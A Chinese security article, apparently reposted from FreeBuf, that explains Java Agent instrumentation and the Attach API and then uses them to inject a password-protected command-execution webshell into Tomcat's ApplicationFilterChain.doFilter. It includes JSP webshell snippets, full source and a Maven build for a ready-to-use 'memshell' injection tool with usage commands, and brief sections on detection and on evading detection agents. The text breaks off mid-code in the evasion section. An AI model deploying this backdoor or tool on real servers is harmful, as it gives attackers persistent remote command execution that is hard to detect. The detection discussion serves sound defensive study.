文章首发于freebuf:https://www.freebuf.com/articles/web/331954.html
Java Agent 注入
在 jdk 1.5 之后引入了 java.lang.instrument 包,该包提供了检测 java 程序的 Api,用于监控、收集性能信息、诊断问题等。通过 java.lang.instrument 实现的工具我们称之为 Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法等。
Java agent的使用方式有两种:
premain
方法,在JVM启动前加载。
agentmain
方法,在JVM启动后加载。
在实际环境中,目标的JVM通常都是已经启动的状态,无法预先加载premain。相比之下,孰轻孰重已不言而喻。
premain和agentmain函数声明如下,方法名相同情况下,拥有Instrumentation inst参数的方法优先级更高:
public static void agentmain(String agentArgs, Instrumentation inst) {
...
}
public static void agentmain(String agentArgs) {
...
}
public static void premain(String agentArgs, Instrumentation inst) {
...
}
public static void premain(String agentArgs) {
...
}
JVM 会优先加载带 Instrumentation
签名的方法,加载成功则忽略第二种。如果第一种没有,则加载第二种方法。
- 第一个参数
String agentArgs
就是Java agent的参数。 Inst
是一个java.lang.instrument.Instrumentation
的实例,可以用来类定义的转换和操作等等。
premain 方式
JVM启动时 会先执行 premain
方法,大部分类加载都会通过该方法,注意:是大部分,不是所有。遗漏的主要是系统类,因为很多系统类先于 agent 执行,而用户类的加载肯定是会被拦截的。也就是说,这个方法是在 main 方法启动前拦截大部分类的加载活动,既然可以拦截类的加载,就可以结合第三方的字节码编译工具,比如ASM,javassist,cglib等来改写实现类。
1)创建应用程序hello.jar
package com.nsfocus.test
public class hello {
public static void main (String[] args) {
System.out.println("hello world");
}
}
将com.nsfocus.test.hello打包成hello.jar后单独执行java -jar hello.jar
2)创建premain方式的Agent
package com.nsfocus.test
import java.lang.instrument.Instrumentation;
public class PreDemo {
public static void premain(String args, Instrumentation inst) throws Exception{
for (int i = 0; i < 10; i++) {
System.out.println("I'm premain agent");
}
}
}
此时项目如果打包成jar包执行,则会因绝少入口main而报错(Java默认main为入口)。故需自定义一个MANIFEST.MF
文件,用于指明premain
的入口:
Manifest-Version: 1.0
Premain-Class: com.nsfocus.test.PreDemo
注:最后一行是空行,不能省略。以下是MANIFEST.MF的其他选项:
Premain-Class: 包含 premain 方法的类(类的全路径名)
Agent-Class: 包含 agentmain 方法的类(类的全路径名)
Boot-Class-Path: 设置引导类加载器搜索的路径列表。查找类的特定于平台的机制失败后,引导类加载器会搜索这些路径。按列出的顺序搜索路径。列表中的路径由一个或多个空格分开。路径使用分层 URI 的路径组件语法。如果该路径以斜杠字符(“/”)开头,则为绝对路径,否则为相对路径。相对路径根据代理 JAR 文件的绝对路径解析。忽略格式不正确的路径和不存在的路径。如果代理是在 VM 启动之后某一时刻启动的,则忽略不表示 JAR 文件的路径。(可选)
Can-Redefine-Classes: true表示能重定义此代理所需的类,默认值为 false(可选)
Can-Retransform-Classes: true 表示能重转换此代理所需的类,默认值为 false (可选)
Can-Set-Native-Method-Prefix: true表示能设置此代理所需的本机方法前缀,默认值为 false(可选)
3)使用premain进行注入
java -javaagent:PreDemo.jar -jar hello.jar
agentmain 方式
写一个agentmain
和premain
差不多,只需要在META-INF/MANIFEST.MF
中加入Agent-Class:
即可。
agent:
package com.nsfocus.test
import java.lang.instrument.Instrumentation;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) {
for (int i = 0; i < 10; i++) {
System.out.println("I'm agentmain agent");
}
}
}
META-INF/MANIFEST.MF:
Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true
不同之处在于,这种方法不是在JVM启动前使用参数来指定的。官方为了实现启动后的加载,提供了Attach API
。Attach API 很简单,只有 2 个主要的类,都在 com.sun.tools.attach
包里面。需要着重关注的是VitualMachine
这个类,它用来与目标JVM建立连接,从而在启动后加载我们的agentmain。
坑: Linux、Windows等不同下的Attach API
不尽相同,详见下文。
补: 总的来说,agentmain的实现也并不是很难理解。笔者将其简要概括为三个阶段:
连接(VirtualMachine) => 加载(Instrumentation) => 修改(Javassist),详见下文。
VirtualMachine
字面意义表示虚拟机,也就是Agent程序需要监控的目标JVM。它提供了获取系统信息、loadAgent
,Attach
和Detach
等方法,可以实现的功能非常强大 。该类允许我们给attach方法传入一个JVM的pid,远程连接到目标JVM上 。代理类注入操作只是它众多功能中的一个,我们可以通过loadAgent
方法向JVM注册一个代理程序Agent,在该Agent代理程序中将会得到一个Instrumentation
实例。
VirtualMachine的用法:
// com.sun.tools.attach.VirtualMachine
// 下面的示例演示如何使用VirtualMachine:
// attach to target VM
VirtualMachine vm = VirtualMachine.attach("2177");
// start management agent
Properties props = new Properties();
props.put("com.sun.management.jmxremote.port", "5000");
vm.startManagementAgent(props);
// detach
vm.detach();
// 在此示例中,我们附加到由进程标识符2177标识的Java虚拟机。然后,使用提供的参数在目标进程中启动JMX管理代理。最后,客户端从目标VM分离。
attacher:
package com.nsfocus.attacher;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class AgentAttach {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
String id = args[0];
String jarName = args[1];
System.out.println("id ==> " + id);
System.out.println("jarName ==> " + jarName);
VirtualMachine virtualMachine = VirtualMachine.attach(id);
virtualMachine.loadAgent(jarName);
virtualMachine.detach();
System.out.println("ends");
}
}
Manifest-Version: 1.0
Main-Class: com.nsfocus.attacher.AgentAttach
过程非常简单:通过pid attach到目标JVM -> 加载agent -> 解除连接。
后话: 在windows下将该项目打包为attacher.jar后,复制到linux下执行报错:
Exception in thread "main" java.lang.UnsatisfiedLinkError: sun.tools.attach.WindowsAttachProvider.tempPath()Ljava/lang/String;
at sun.tools.attach.WindowsAttachProvider.tempPath(Native Method)
at sun.tools.attach.WindowsAttachProvider.isTempPathSecure(WindowsAttachProvider.java:74)
at sun.tools.attach.WindowsAttachProvider.listVirtualMachines(WindowsAttachProvider.java:58)
at com.sun.tools.attach.VirtualMachine.list(VirtualMachine.java:134)
at sun.tools.jconsole.LocalVirtualMachine.getAttachableVMs(LocalVirtualMachine.java:151)
at sun.tools.jconsole.LocalVirtualMachine.getAllVirtualMachines(LocalVirtualMachine.java:110)
...
前面已经提到了,不同的AttachProvider适用于不同的平台,即不同平台下的${JAVA_HOME}/lib/tools.jar
有略微的差别:
[solaris] sun.tools.attach.SolarisAttachProvider
[windows] sun.tools.attach.WindowsAttachProvider
[linux] sun.tools.attach.LinuxAttachProvider
将项目拷贝到linux下再打包,或者将windows下的tools.jar替换为linux下的tools.jar均能解决这个问题。
Instrumentation
通过attacher连接到目JVM后,可以通过instrumentation类和目标JVM上的类进行交互,为动态修改字节码奠定基础。
官方文档:java.lang.instrument (Java SE 9 & JDK 9 ) (oracle.com)
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
getAllLoadedClasses
:获取所有已经加载的类。isModifiableClasses
:判断某个类是否能被修改。
前面的AgentDemo比较简单,下面我们来扩展一下agent的功能。在连接至目标JVM后,加载JVM上所有的类,并判断其是否可以更改:
package com.nsfoucs.getclasses;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
public class GetClasses {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException {
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File("./ClassesInfo.txt"));
for (Class aClass : classes) {
String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
fileOutputStream.write(result.getBytes());
}
fileOutputStream.close();
}
}
META-INF/MANIFEST.MF:
Manifest-Version: 1.0
Agent-Class: com.nsfoucs.getclasses.GetClasses
java -jar attacher.jar [PID] "./getclasses.jar"
class ==> java.lang.invoke.LambdaForm$MH/0x0000000800f06c40
Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f06840
Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07440
Modifiable ==> false
class ==> java.lang.invoke.LambdaForm$DMH/0x0000000800f07040
Modifiable ==> false
class ==> jdk.internal.reflect.GeneratedConstructorAccessor29
Modifiable ==> true
........
在当前目录成功生成ClassesInfo.txt,得到了目标JVM上所有已经加载的类,并且知道了这些类能否被修改。
Transform API
在编译期的构建任务流中,class转为dex之前,插入一个Transform,并在此Transform流中,基于Javassist实现对字节码文件的注入。
addTransformer()
retransformClasses()
redefine VS. retransform | lsieun
Instrumentation.xxxTransformer() | lsieun
public interface Instrumentation {
// 增加一个 Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);
// 删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);
// 在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;
// 判断目标类是否能够修改。
boolean isModifiableClass(Class<?> theClass);
// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();
......
}
在addTransformer()
方法中,有一个参数ClassFileTransformer transformer
,这个参数将帮助我们完成字节码的修改工作。
ClassFileTransformer
ClassFileTransformer接口提供了用于加载、重新定义或重新转换类的transform
方法:
public interface ClassFileTransformer {
default byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer) {
....
}
}
//示例
public class Transformer implements ClassFileTransformer{
...
}
// 代理使用addTransformer方法注册此接口的实现,以便在加载,重新定义或重新转换类时调用转换器的transform方法。该实现应覆盖此处定义的转换方法之一。在Java虚拟机定义类之前,将调用变压器。
// 有两种转换器,由Instrumentation.addTransformer(ClassFileTransformer,boolean)的canRetransform参数确定:
// 与canRetransform一起添加的具有重转换能力的转换器为true
// 与canRetransform一起添加为false或在Instrumentation.addTransformer(ClassFileTransformer)处添加的无法重新转换的转换器
// 在addTransformer中注册了转换器后,将为每个新的类定义和每个类重新定义调用该转换器。具有重转换功能的转换器也将在每个类的重转换上被调用。使用ClassLoader.defineClass或其本机等效项来请求新的类定义。使用Instrumentation.redefineClasses或其本机等效项进行类重新定义的请求。使用Instrumentation.retransformClasses或其本机等效项进行类重新转换的请求。在验证或应用类文件字节之前,将在处理请求期间调用转换器。如果有多个转换器,则通过链接转换调用来构成转换。也就是说,一次转换所返回的字节数组成为转换的输入(通过classfileBuffer参数)。
Javassist
修改字节码的技术有很多,比如 ASM、Javassist、BCEL、CGLib 等,这里仅简要介绍 Javassist。Javassist 可以直接用 Java 编码来实现增强,无需关注字节码结构,比 ASM 更简单。Javassist 中核心的类主要有四个:
- CtClass:类信息
- ClassPool:可以从中获取 CtClass,key 为类的全限定名
- CtMethod:方法信息
- CtField:字段信息
基于这四个类,可以方便地实现增强,比如在指定方法前后增加代码:
// 获取默认 ClassPool
ClassPool cp = ClassPool.getDefault();
// 找到 CtClass,重写 com.nsfocus.Demo
CtClass cc = cp.get("com.nsfocus.Demo");
// 增强方法 test
CtMethod m = cc.getDeclaredMethod("test");
// 前面插入代码
m.insertBefore("{ System.out.println(\"javassist start\"); }");
// 后面插入代码
m.insertAfter("{ System.out.println(\"javassist end\"); }");
// Java agent 获取字节码数据
return cc.toBytecode();
示例
模拟目标进程,hello.jar:
// HelloWorld.java
package com.nsfocus.test;
import java.util.Scanner;
public class HelloWorld {
public static void main(String[] args) {
hello h1 = new hello();
GetPid pid = new GetPid();
h1.hello();
// 输出当前进程的 pid
pid.GetPid();
// 产生中断,等待注入
Scanner sc = new Scanner(System.in);
sc.nextInt();
hello h2 = new hello();
h2.hello();
System.out.println("ends...");
}
}
// hello.java
package com.nsfocus.test;
public class hello {
public void hello() {
System.out.println("hello world");
}
}
//GetPid.java
package com.nsfocus.test;
import java.lang.management.ManagementFactory;
public class GetPid {
public void GetPid() {
String name = ManagementFactory.getRuntimeMXBean().getName();
System.out.println("JVM:" + name);
String pid = name.split("@")[0];
System.out.println("PID:" + pid);
}
}
META-INF/MANIFEST.MF:
Manifest-Version: 1.0
Main-Class: com.nsfocus.test.HelloWorld
agent.jar:
// AgentDemo.java
package com.nsfocus.agent;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentDemo {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
Class[] classes = inst.getAllLoadedClasses();
// 判断类是否已经加载
for (Class aClass : classes) {
if (aClass.getName().equals(TransformerDemo.editClassName)) {
System.out.println("EditClassName:" + aClass.getName());
System.out.println("EditMethodName:" + TransformerDemo.editMethodName);
// 添加 Transformer
inst.addTransformer(new TransformerDemo(), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
}
}
// TransformerDemo.java
package com.nsfocus.agent;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
public class TransformerDemo implements ClassFileTransformer {
// 只需要修改这里就能修改别的函数
public static final String editClassName = "com.nsfocus.test.hello";
public static final String editClassName2 = editClassName.replace('.', '/');
public static final String editMethodName = "hello";
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool cp = ClassPool.getDefault();
cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
CtClass ctc = cp.get(editClassName);
CtMethod method = ctc.getDeclaredMethod(editMethodName);
String source = "{System.out.println(\"hello transformer\");}";
method.setBody(source);
byte[] bytes = ctc.toBytecode();
ctc.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
return classfileBuffer;
}
}
META-INF/MANIFEST.MF:
Manifest-Version: 1.0
Agent-Class: com.nsfocus.agent.AgentDemo
Can-Retransform-Classes: true
Can-Redefine-Classes: true
使用:
1)java -jar helloworld.jar
2java -jar attacher.jar [PID] "./getclasses.jar"
3)java -jar attacher.jar [PID] "./agent.jar"
总结:
首先利用attacher.jar attach到某个JVM并加载agent.jar,然后利用agent.jar中java.lang.instrument.Instrumentation
的getAllLoadedClasses()
和sModifiableClasses()
对目标JVM中的类进行汇总,并判断类是否可以更改,即public static void agentmain(String agentArgs, Instrumentation inst){},Class[] classes = inst.getAllLoadedClasses();,inst.isModifiableClass(aClass)
。再利用java.lang.instrument.Instrumentation
的addTransformer(new Transformer(),true)
(Transformer类继承java.lang.instrument.Instrumentation中的ClassFileTransformer接口,即public class Transformer implements ClassFileTransformer
)和retransformClasses(target_class)
对类进行拦截,最后配合javassist实现对字节码的修改。
需要注意的是,addTransformer方法并没有指明要转换哪个类,转换发生在premain函数后,main函数前。这时每装载一个类,transform方法就执行一次,故使用if (aClass.getName().equals(TransformerDemo.editClassName))
判断当前的类是否需要转换(此处需要注意editclassName的形式)。当然,该判断也可以在TransformerDemo类的transformer方法中进行,即if(className.equals(editClassName))
1)使用Instrumentation.addTransformer()
加载一个转换器。
2)转换器的返回结果(transform()
方法的返回值)将成为转换后的字节码。
3)对于没有加载的类,使用ClassLoader.defineClass()
定义它;对于已经加载的类,使用ClassLoader.redefineClasses()
重新定义,并配合Instrumentation.retransformClasses
进行转换。
注入内存马
示例成功完成了对方法体的修改。下面我们分析如何利用上述方法,将木马注入到某个一定会执行的方法内。
无回显执行系统命令:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
有密码和回显的命令执行:
<%
if("nsfocus".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
修改哪个类的哪个方法,是注入内存马的前提和关键。除了上面提到的一定会执行,什么时候执行也十分重要。
其实后门的本质就是在目标上留下一个用户可控的参数,黑客通过控制这个参数,达到执行任意系统命令的目的。因此,想要注入内存马,就必然绕不开 request 和 response。比如PHP的eval($_POST['nsfocus'])
,JSP的request.getParameter("nsfocus")
。根据木马的特性,我们把目光放在 FilterChain 上。
在一个 Web 应用程序中可以注册多个 Filter 程序,每个 Filter 程序都可以针对某一个 URL 进行拦截。如果多个 Filter 程序都对同一个 URL 进行拦截,那么这些 Filter 就会组成一个Filter 链(也称过滤器链)。
Filter 链用 FilterChain 对象表示,FilterChain 对象中有一个 doFilter() 方法,该方法的作用是让 Filter 链上的当前过滤器放行,使请求进入下一个 Filter。FilterChain 的拦截过程如图所示:
当然,最直接的就是写一个 Spring Boot 的 demo,在IDEA上下断点调试,分析各个类的调用过程,从而寻找合适的类和方法。
//DeomApplication.java
package com.nsfocus.demo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
}
//HelloSpring.java
package com.nsfocus.demo;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class HelloSpring {
@RequestMapping("/index")
public String say() {
try {
System.out.println("hello springboot");
} catch (Exception e) {
e.printStackTrace();
}
return "index";
}
}
ApplicationFilterChain
的doFilter
方法:
@Override
public void doFilter(ServletRequest request, ServletResponse response)
throws IOException, ServletException {
if( Globals.IS_SECURITY_ENABLED ) {
final ServletRequest req = request;
final ServletResponse res = response;
try {
java.security.AccessController.doPrivileged(
new java.security.PrivilegedExceptionAction<Void>() {
@Override
public Void run()
throws ServletException, IOException {
internalDoFilter(req,res);
return null;
}
}
);
} catch (PrivilegedActionException pe) {
......
}
} else {
internalDoFilter(request,response);
}
}
internalDoFilter()
方法:
private void internalDoFilter(ServletRequest request,
ServletResponse response)
throws IOException, ServletException {
// Call the next filter if there is one
if (pos < n) {
......
}
}
以上两个方法均拥有Request
和Response
参数,重写其中任何一个方法,都能控制所有的请求和响应。
Java Agent 修改 doFilter:
只需要对上面的示例代码做一些变动即可。
指定需要修改的类名和方法名:
public static final String editClassName = "org.apache.catalina.core.ApplicationFilterChain";
public static final String editClassName2 = editClassName.replace('.', '/');
public static final String editMethod = "doFilter";
为了不破坏程序原本的功能,这里不再使用setBody()
方法,而采用insertBefore()
:
method.insertBefore(source);
出于方便考虑,实现一个readSource()
方法,从文件中读取数据:
private static String readSource() throws Exception{
File file = new File("./start.txt");
if(!file.exists()){
return null;
}
FileInputStream inputStream = new FileInputStream(file);
int length = inputStream.available();
byte bytes[] = new byte[length];
inputStream.read(bytes);
inputStream.close();
String str =new String(bytes, StandardCharsets.UTF_8);
return str ;
}
String source = this.readSource("start.txt");
public static String readSource(String name) {
String result = "";
// result = name文件的内容
return result;
}
在start.txt
中,写入恶意代码:
{
javax.servlet.http.HttpServletRequest request = $1;
javax.servlet.http.HttpServletResponse response = $2;
request.setCharacterEncoding("UTF-8");
String result = "";
String password = request.getParameter("pwd");
if (password != null && password.equals("nsfocus")) {
String cmd = request.getParameter("cmd");
if (cmd != null && cmd.length() > 0) {
java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;
while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}
response.getWriter().println("<pre>" + new String(baos.toByteArray()) + "</pre>");
}
}
}
正常访问:http://127.0.0.1:8080
注入:java attacher.jar [pid] "./agent.jar"
注入后访问:http://127.0.0.1:8080/?password=nsfocus&exec=ls -al
最后,可以将前面的attacher.jar、getclasses.jar、agent.jar等项目整合一下,动态获取用户输入。这样,一个实用的小工具就诞生了:
//Atacher.java
package com.nsfocus.agent;
import com.beust.jcommander.JCommander;
import java.util.Base64;
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class Attacher {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
Args args1 = new Args();
JCommander.newBuilder().addObject(args1).build().parse(args);
byte[] decoded1 = Base64.getDecoder().decode(args1.target);
String msg1 = new String(decoded1);
System.out.println(msg1);
String[] arr1 = msg1.split(":");
System.out.println("PID ==> " + arr1[0]);
System.out.println("EditClassName ==> " + arr1[1]);
System.out.println("EditMethodName ==> " + arr1[2]);
System.out.println("SaveLog ==> " + arr1[3]);
VirtualMachine virtualMachine = VirtualMachine.attach(arr1[0]);
virtualMachine.loadAgent("./memshell.jar",args1.target);
virtualMachine.detach();
System.out.println("ends");
}
}
//Agent.java
package com.nsfocus.agent;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.util.Base64;
public class Agent {
public static void agentmain(String agentArgs, Instrumentation inst) throws IOException, UnmodifiableClassException {
//System.out.println(agentArgs);
byte[] decoded2 = Base64.getDecoder().decode(agentArgs);
String msg2 = new String(decoded2);
String[] arr2 = msg2.split(":");
Class[] classes = inst.getAllLoadedClasses();
FileOutputStream fileOutputStream = new FileOutputStream(new File(arr2[3]));
// 判断类是否已经加载
for (Class aClass : classes) {
String result = "class ==> " + aClass.getName() + "\n\t" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false") + "\n";
fileOutputStream.write(result.getBytes());
if (aClass.getName().equals(arr2[1])) {
System.out.println("EditClassName:" + arr2[1]);
System.out.println("EditMethodName:" + arr2[2]);
// 添加 Transformer
inst.addTransformer(new Transformer(arr2[1],arr2[2]), true);
// 触发 Transformer
inst.retransformClasses(aClass);
}
}
fileOutputStream.close();
}
}
//Transformer.java
package com.nsfocus.agent;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
public class Transformer implements ClassFileTransformer {
public String EditClassName;
public String EditMethodName;
public Transformer(String c,String m){
this.EditClassName = c;
this.EditMethodName = m;
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {
ClassPool cp = ClassPool.getDefault();
cp.appendClassPath(new LoaderClassPath(Thread.currentThread().getContextClassLoader()));
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
cp.insertClassPath(ccp);
}
CtClass ctc = cp.get(EditClassName);
CtMethod method = ctc.getDeclaredMethod(EditMethodName);
String source = "{\n" +
" javax.servlet.http.HttpServletRequest request = $1;\n" +
" javax.servlet.http.HttpServletResponse response = $2;\n" +
" request.setCharacterEncoding(\"UTF-8\");\n" +
" String result = \"\";\n" +
" String password = request.getParameter(\"pwd\");\n" +
" if (password != null && password.equals(\"nsfocus\")) {\n" +
" String cmd = request.getParameter(\"cmd\");\n" +
" if (cmd != null && cmd.length() > 0) {\n" +
" java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
" java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n" +
" int a = -1;\n" +
" byte[] b = new byte[2048];\n" +
" while ((a = in.read(b)) != -1) {\n" +
" baos.write(b, 0, a);\n" +
" }\n" +
" response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");\n" +
" }\n" +
" }\n" +
"}";
method.insertBefore(source);
byte[] bytes = ctc.toBytecode();
ctc.detach();
return bytes;
} catch (Exception e){
e.printStackTrace();
}
return classfileBuffer;
}
}
//Args.java
package com.nsfocus.agent;
import com.beust.jcommander.Parameter;
public class Args {
@Parameter(names = "-target", description = "base64(pid:class:method:path)", required = true)
public String target;
}
META-INF/MANIFEST.MF:
Manifest-Version: 1.0
Main-Class: com.nsfocus.agent.Attacher
Agent-Class: com.nsfocus.agent.Agent
Can-Retransform-Classes: true
Can-Redefine-Classes: true
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.nsfocus</groupId>
<artifactId>agent</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId>com.beust</groupId>
<artifactId>jcommander</artifactId>
<version>1.82</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>
</dependencies>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
</properties>
</project>
食用:
java -jar memshell.jar -target [base64(PID:EditClassName:EditMethodName:Save_log_path)]
示例:
java -jar demo.jar
3438:org.apache.catalina.core.ApplicationFilterChain:doFilter:./ClassInfo.txt
=>
MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=
java -jar memshell.jar -target MzQzODpvcmcuYXBhY2hlLmNhdGFsaW5hLmNvcmUuQXBwbGljYXRpb25GaWx0ZXJDaGFpbjpkb0ZpbHRlcjouL0NsYXNzSW5mby50eHQ=
可以看到,修改后的demo已经能够接收参数,但可能是因为环境适配问题,导致回显时报错。另经测试,Agent failed to start!
不影响工具的正常使用,Agent
能够正常启动并完成对类和方法的修改。在windows中无此报错,linux中报错原因不详。
内存马的检测
Hotspot服务性代理-JVM进程外高级调试器接口sa-jdi使用 - 哔哩哔哩 (bilibili.com)
Agent内存马的自动分析与查杀 - 先知社区 (aliyun.com)
知己知彼,百战不殆。
基于 Agent 的检测
与注入内存马一样,我们同样可以利用Java的Instrument机制,动态注入我们的检测Agent,获取JVM中所有已加载的Class,匹配内存马特有的可疑特征,让隐藏的内存马现出原型。首先,我们需要分析常见的内存马存在的一些可疑的特征。
以上文中的内存马代码为例,我们通过Attacher去loadAgent:
Agent通过加载Transformer实现功能:
Transformer的功能由transform方法实现,而transform方法重写自ClassFileTransformer,即Transformer继承ClassFileTransformer接口:
因此,ClassFileTransformer接口算不算是Agent内存马的可疑特征呢?答案是肯定的。根据该思路,大致可以总结出以下可疑特征:
-
继承可能实现webshell功能的接口
-
javax.servlet.http.HttpServlet
-
org.springframework.web.servlet.handler.AbstractHandlerMapping
-
javax.servlet.Filter
-
javax.servlet.Servlet
-
javax.servlet.ServletRequestListener
-
…
-
-
名字
- shell
- memshell
- …
-
常见已知的Webshell包名:
-
net.rebeyond.*
-
com.metasploit.*
-
…
-
-
…
检测步骤与注入步骤基本相同:
1.Attach检测Agent到JVM进程
2.获取JVM中已经加载的Class列表
3.根据指纹特征将可疑的Class反编译为Java源码
4.根据源码检测出Webshell
优点:仅在检测过程中存在资源消耗,不会对系统进行修改,对系统的影响较小。
缺点:如果攻击者通过构造调用链层层调用的方式,去隐藏恶意代码的指纹特征,那么将会大大提高检测的难度和资源的消耗。对此,我们可以使用递归的方式,对调用链上所有的类和方法进行分析判断,只要调用链中的任何一环存在可疑代码,就将其标记为可疑。此外,该方法属于事后检测,在此之前,内存马可能已经在系统中潜伏一定的时间。
RASP 运行时防护
Gartner在2014年提出了应用自我保护技术(RASP)的概念。Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。
优点:RASP属于实时检测,在内存马创建的过程中就能检测并阻断。这种方式准确性强,可以结合请求的上下文环境进行精准判断,误报的几率较低。
缺点:侵入性较强,运行在应用的整个生命周期中,增加应用的资源消耗。
内存马的免杀
攻防是一个相互博弈的过程,既然有查杀,就会有免杀。最直接的免杀思路,就是破坏掉后续加载的检测Agent,或者使其压根就无法加载,从而达到免杀的目的。
破坏检测Agent的加载
参考:https://github.com/threedr3am/ZhouYu
//ProtectTransformer
package com.nsfocus.shell;
import javassist.*;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;
import java.lang.instrument.IllegalClassFormatException;
import java.io.ByteArrayInputStream;
public class ProtectTransformer implements ClassFileTransformer {
private boolean check(String className, CtClass ctClass) throws Throwable {
CtClass[] interfaces = ctClass.getInterfaces();
if (interfaces != null) {
